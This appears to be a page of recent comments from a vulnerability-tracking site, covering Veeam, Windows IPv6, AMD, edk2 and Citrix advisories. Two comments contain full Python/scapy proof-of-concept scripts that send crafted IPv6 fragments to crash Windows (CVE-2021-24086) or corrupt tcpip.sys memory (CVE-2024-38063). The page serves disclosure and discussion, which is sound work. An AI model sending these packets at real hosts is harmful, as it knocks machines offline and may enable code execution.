Recent comments

Log in or create an account to share your comment.

  • https://censys.com/cve-2024-40711/
  • https://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2/
Well, that was a complex vulnerability, requiring a lot of code-reading! We’ve successfully shown how multiple bugs can be chained together to gain RCE in a variety of versions of Veeam Backup & Replication.

We’re a little confused by Veeam’s advisory, however, which seems to be contradictory. As you may recall from the very start of the blogpost, Veeam’s advice was that versions up to and including 12.1.2.172 are vulnerable. While the title of the bug states that “A vulnerability allowing unauthenticated remote code execution (RCE)“, suggesting a world-ending CVSS 10 bug, they then proceed to label the bug as a less-serious CVSS 9.8, requiring user authentication before exploitation is possible. This is confusing, because all versions beneath 12.1.2.172 don’t require authentication to exploit, and only a change made in 12.1.2.172 made it so authentication was required (see above analysis).

Perhaps Veeam simply made an error in their advisory, as we (and Code White) clearly demonstrate that authentication is not required. Hopefully, a pre-emptive change wasn’t made in 12.1.2.172 to downgrade the eventual severity of this vulnerability.

Regardless of CVSS, the actual situation, as you can see above, is somewhat more nuanced than ‘RCE before 12.1.2.172':
Version     Status
12.2.0.334  Fully patched. Not affected by the vulnerabilities in this blogpost.
12.1.2.172  Affected, but exploitation requires authentication. Low privilege users are able to execute arbitrary code.
12.1.1.56 and earlier   Vulnerable to unauthenticated RCE.

Speaking of exploitation, we’re breaking with tradition on this bug by not releasing a full exploit chain (sorry, folks!). We’re a little worried by just how valuable this bug is to malware operators, and so are (on this occasion only) refraining from dropping a working exploit. The most we’re going to drop is this tantalizing video of exploitation, which will have to tide you over until our next post:

Analysis of a denial of service vulnerability affecting the IPv6 stack of Windows.

This issue, whose root cause can be found in the mishandling of IPv6 fragments, was patched by Microsoft in their February 2021 security bulletin.

Proof of Concept

```python import sys import random

from scapy.all import *

FRAGMENT_SIZE = 0x400 LAYER4_FRAG_OFFSET = 0x8

NEXT_HEADER_IPV6_ROUTE = 43 NEXT_HEADER_IPV6_FRAG = 44 NEXT_HEADER_IPV6_ICMP = 58

def get_layer4(): er = ICMPv6EchoRequest(data = "PoC for CVE-2021-24086") er.cksum = 0xa472

return raw(er)

def get_inner_packet(target_addr): inner_frag_id = random.randint(0, 0xffffffff) print("**** inner_frag_id: 0x{:x}".format(inner_frag_id)) raw_er = get_layer4()

# 0x1ffa Routing headers == 0xffd0 bytes
routes = raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_ROUTE)) * (0xffd0//8 - 1)
routes += raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_FRAG))

# First inner fragment header: offset=0, more=1
FH = IPv6ExtHdrFragment(offset = 0, m=1, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP)

return routes + raw(FH) + raw_er[:LAYER4_FRAG_OFFSET], inner_frag_id

def send_last_inner_fragment(target_addr, inner_frag_id):

raw_er = get_layer4()

ip = IPv6(dst = target_addr)
# Second (and last) inner fragment header: offset=1, more=0
FH = IPv6ExtHdrFragment(offset = LAYER4_FRAG_OFFSET // 8, m=0, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP)
send(ip/FH/raw_er[LAYER4_FRAG_OFFSET:])

def trigger(target_addr):

inner_packet, inner_frag_id = get_inner_packet(target_addr)

ip = IPv6(dst = target_addr)
hopbyhop = IPv6ExtHdrHopByHop(nh = NEXT_HEADER_IPV6_FRAG)

outer_frag_id = random.randint(0, 0xffffffff)

fragmentable_part = []
for i in range(len(inner_packet) // FRAGMENT_SIZE):
    fragmentable_part.append(inner_packet[i * FRAGMENT_SIZE: (i+1) * FRAGMENT_SIZE])

if len(inner_packet) % FRAGMENT_SIZE:
    fragmentable_part.append(inner_packet[(len(fragmentable_part)) * FRAGMENT_SIZE:])


print("Preparing frags...")
frag_offset = 0
frags_to_send = []
is_first = True
for i in range(len(fragmentable_part)):
    if i == len(fragmentable_part) - 1:
        more = 0
    else:
        more = 1

    FH = IPv6ExtHdrFragment(offset = frag_offset // 8, m=more, id=outer_frag_id, nh = NEXT_HEADER_IPV6_ROUTE)

    blob = raw(FH/fragmentable_part[i])
    frag_offset += FRAGMENT_SIZE

    frags_to_send.append(ip/hopbyhop/blob)


print("Sending {} frags...".format(len(frags_to_send)))
for frag in frags_to_send:
    send(frag)


print("Now sending the last inner fragment to trigger the bug...")
send_last_inner_fragment(target_addr, inner_frag_id)

if name == 'main': if len(sys.argv) < 2: print('Usage: cve-2021-24086.py ') sys.exit(1) trigger(sys.argv[1]) ```

Proof of Concept for CVE-2024-38063, a RCE in tcpip.sys patched on August 13th 2024.

An analysis of the vulnerability published on August 27, 2024 by Marcus Hutchins.

PoC published on GitHub on August 24, 2024.

Implementation

Implementation details are available on GitHub.

from scapy.all import *

iface=''
ip_addr=''
mac_addr=''
num_tries=20
num_batches=20

def get_packets_with_mac(i):
    frag_id = 0xdebac1e + i
    first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

def get_packets(i):
    if mac_addr != '':
        return get_packets_with_mac(i)
    frag_id = 0xdebac1e + i
    first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

final_ps = []
for _ in range(num_batches):
    for i in range(num_tries):
        final_ps += get_packets(i) + get_packets(i)

print("Sending packets")
if mac_addr != '':
    sendp(final_ps, iface)
else:
    send(final_ps, iface)

for i in range(60):
    print(f"Memory corruption will be triggered in {60-i} seconds", end='\r')
    time.sleep(1)
print("")

"AMD plans to release the Platform Initialization (PI) firmware version indicated below. " The release scheduled is mentioned there:

https://www.amd.com/en/resources/product-security/bulletin/amd-sb-7014.html

It also depends of the AGESA update process for some motherboards.

As mentioned in this toot, it seems the group name is ESX Admins and not ESXi Admins.

The timeline on https://bugzilla.tianocore.org/show_bug.cgi?id=3387 is interesting:

  • 2021-05-10 16:43 UTC - Bug reported by John Mathews
  • 2021-07-07 14:02:27 - Working patch mentioned by Vincent Zimmer (and also recommends the need of a CVE)
  • 2022-05-10 21:04:45 UTC "Blackduck has this CVE in their database so this CVE is being flagged for all edk2 products that are scanned."
  • 2022-06-14 05:52:10 UTC - Patch doesn't build.
  • 2022-11-04 - Patch merged in the repo https://github.com/tianocore/edk2/commit/cab1f02565d3b29081dd21afb074f35fdb4e1fd6

But the vulnerability was published 2022-03-03 21:53 or is the timeline incorrect?

Additional information from CSIRT/CERTs about Cisco Secure Email Gateway vulnerability

Exploited Unauthenticated RCE Vulnerability CVE-2023-6548 in Citrix NetScaler ADC and NetScaler Gateway

New intelligence shows that exploitation of this RCE vulnerability does not require authentication

https://digital.nhs.uk/cyber-alerts/2024/cc-4525

The NHS England National Cyber Security Operations Centre (CSOC) is aware of intelligence provided by CrowdStrike that contrary to Citrix’s initial disclosure, the vulnerability known as CVE-2023-6548 does not require user privileges for exploitation. NHS England National CSOC now assesses CVE-2023-6548 as a critical vulnerability that can allow a remote, unauthenticated attacker to execute remote code on a vulnerable NetScaler Gateway or NetScaler ADC device.

CVE-2023-6548 has two different CVSSv3 scores attributed to it. The NIST National Vulnerability Database (NVD) has classified it as having a score of 8.8, while Citrix rates the vulnerability at 5.5. The weakness is Improper Control of Generation of Code ('Code Injection') in NetScaler ADC and NetScaler Gateway and could allow a remote, unauthenticated attacker with access to the management interface to execute arbitrary code.

displaying 91 - 100 comments in total 103